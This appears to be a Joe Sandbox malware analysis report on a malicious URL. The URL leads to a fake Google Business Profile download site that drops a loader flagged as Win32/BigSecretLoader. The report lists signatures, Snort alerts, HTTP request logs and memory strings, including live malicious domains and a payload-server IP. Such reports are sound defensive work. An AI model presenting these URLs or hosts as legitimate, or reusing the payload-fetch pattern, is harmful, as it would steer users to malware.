Play interactive tourEdit tour

Windows Analysis Report
https://checkclo7.com/r3eid7w/off/gooexe/?uid=4c28b58d-15e1-4415-8fa8-1cff2b84569b1&url=https%3A%2F%2Fwww.google.com%2Fbusiness%2F&gclid=CjwKCAjw9J2iBhBPEiwAErwpeZNeSSxi4Bu0ik0z9dnvKNd25cDoIz9_bM_g1ZPMpUtPHnu5bA02rBoCQTYQAvD_BwE

Overview

General Information

Sample URL:	https://checkclo7.com/r3eid7w/off/gooexe/?uid=4c28b58d-15e1-4415-8fa8-1cff2b84569b1&url=https%3A%2F%2Fwww.google.com%2Fbusiness%2F&gclid=CjwKCAjw9J2iBhBPEiwAErwpeZNeSSxi4Bu0ik0z9dnvKNd25cDoIz9_bM_g1ZP
Analysis ID:	859431
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large strings

.NET source code references suspicious native API functions

Drops files with a non-matching file extension (content does not match file extension)

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

PE file contains an invalid checksum

Drops PE files

PE file contains sections with non-standard names

Binary contains a suspicious time stamp

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

PE file overlay found

Abnormal high CPU Usage

Classification

×

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Downloads\Unconfirmed 64460.crdownload	ReversingLabs: Detection: 31%
Source: C:\Users\user\Downloads\upload.exe (copy)	ReversingLabs: Detection: 31%
Source: Chrome Cache Entry: 124	ReversingLabs: Detection: 31%

Compliance

Creates a directory in C:\Program Files

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: C:\Users\user\Documents\Project\check_name\target\release\deps\FingerPrint_disable.pdbb source: upload.exe, 0000000E.00000000.1623568506.00007FF7C8DD2000.00000002.00000001.01000000.00000005.sdmp, chromecache_124.5.dr
Source:	Binary string: C:\Users\user\Documents\Project\check_name\target\release\deps\FingerPrint_disable.pdb source: upload.exe, 0000000E.00000000.1623568506.00007FF7C8DD2000.00000002.00000001.01000000.00000005.sdmp, chromecache_124.5.dr

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2854283 ETPRO TROJAN Win32/BigSecretLoader Payload Request (GET) M1 192.168.2.3:49793 -> 94.142.138.61:80
Source: Traffic	Snort IDS: 2854284 ETPRO TROJAN Win32/BigSecretLoader Payload Request (GET) M2 192.168.2.3:49793 -> 94.142.138.61:80
Source: Traffic	Snort IDS: 2854285 ETPRO TROJAN Win32/BigSecretLoader Payload Inbound 94.142.138.61:80 -> 192.168.2.3:49793

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /dl/27/timestamp HTTP/1.1accept: */*host: 94.142.138.61
Source: global traffic	HTTP traffic detected: GET /dl/27/timestamp/ HTTP/1.1accept: */*referer: http://94.142.138.61/dl/27/timestamphost: 94.142.138.61

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61
Source: unknown	TCP traffic detected without corresponding DNS query: 94.142.138.61

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable / 403 Forbidden)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.2Date: Thu, 04 May 2023 19:16:37 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: close

URLs found in memory or binary data

Source: upload.exe, 0000000E.00000002.2811873224.0000026AF9791000.00000004.00000020.00020000.00000000.sdmp, upload.exe, 0000000E.00000002.2811873224.0000026AF974C000.00000004.00000020.00020000.00000000.sdmp, upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestamp
Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestamp/
Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestamp/3
Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestamp/3k
Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestamp/z
Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestampw.q
Source: upload.exe, 0000000E.00000002.2811873224.0000026AF977A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.142.138.61/dl/27/timestampw.qR
Source: chromecache_124.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: chromecache_124.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: chromecache_124.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: chromecache_124.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: chromecache_124.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: chromecache_124.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: chromecache_124.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: chromecache_124.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: chromecache_124.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: chromecache_124.5.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: chromecache_124.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: chromecache_124.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: chromecache_124.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_124.5.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: chromecache_124.5.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-supportCalling
Source: chromecache_128.5.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Roboto:wght
Source: chromecache_124.5.dr	String found in binary or memory: https://github.com/libcala/whoami/issues
Source: upload.exe, 0000000E.00000000.1623568506.00007FF7C8DD2000.00000002.00000001.01000000.00000005.sdmp, chromecache_124.5.dr	String found in binary or memory: https://github.com/libcala/whoami/issuesO9

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CONSENT=PENDING+620; __Secure-ENID=6.SE=cJKCBuSaL1dV3R8z2Y2al7-m2m5bGA74lqbYYkqC3uy-NtZ1f6n_bCBr25tlnnjvdmLpGQ81ZKzP3Te5vVjpSQjYWCwvlOMApK7tmZNWcORu0p4wniPJGQfTslQNnpQWhG9qkwkEgy49-6UG3UQ1eiUyFolJZWLeUM1p4KvjM9E

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: accounts.google.com

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.102&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.102Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r3eid7w/off/gooexe/?uid=4c28b58d-15e1-4415-8fa8-1cff2b84569b1&url=https%3A%2F%2Fwww.google.com%2Fbusiness%2F&gclid=CjwKCAjw9J2iBhBPEiwAErwpeZNeSSxi4Bu0ik0z9dnvKNd25cDoIz9_bM_g1ZPMpUtPHnu5bA02rBoCQTYQAvD_BwE HTTP/1.1Host: checkclo7.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?rtbgdgbsfDbDSFGthdFgVsdcvdfbfdgbnNGHnfjhrsfgjGfHJgDasFDCAFdSBgdHyfJTyhf HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4 HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /download/assets/main.css HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/assets/css/main.css HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/style.css HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/assets/js/script.js HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/ty-arrow-up-b.svg HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/ty-arrow-down-b.svg HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/assets/background.png HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accountsbusinessprofile.com/download/assets/main.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/assets/favicon.ico HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4 HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/ty-arrow-up-b.svg HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/ty-arrow-down-b.svg HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/assets/background.png HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /download/app/download.php?file=download HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /generator/index.php HTTP/1.1Host: accountsbusinessprofile.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://accountsbusinessprofile.com/download/index.php?uid=70319b8fcd169a8a0b353fc26b1f5dc4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=c1d6eca293a7fa59de96d78826f92e12
Source: global traffic	HTTP traffic detected: GET /dl/27/timestamp HTTP/1.1accept: */*host: 94.142.138.61
Source: global traffic	HTTP traffic detected: GET /dl/27/timestamp/ HTTP/1.1accept: */*referer: http://94.142.138.61/dl/27/timestamphost: 94.142.138.61

System Summary

.NET source code contains very large strings

Source: fna9LgnhkY.exe.14.dr, ??????????????????????????????/???????u3098??????????????????.cs

Long String: Length: 744812

PE file does not import any functions

Source: 897f2a36-ae80-4c19-a2bf-e8a8dc98972f.tmp.2.dr	Static PE information: No import functions for PE file found
Source: fna9LgnhkY.exe.14.dr	Static PE information: No import functions for PE file found

PE file overlay found

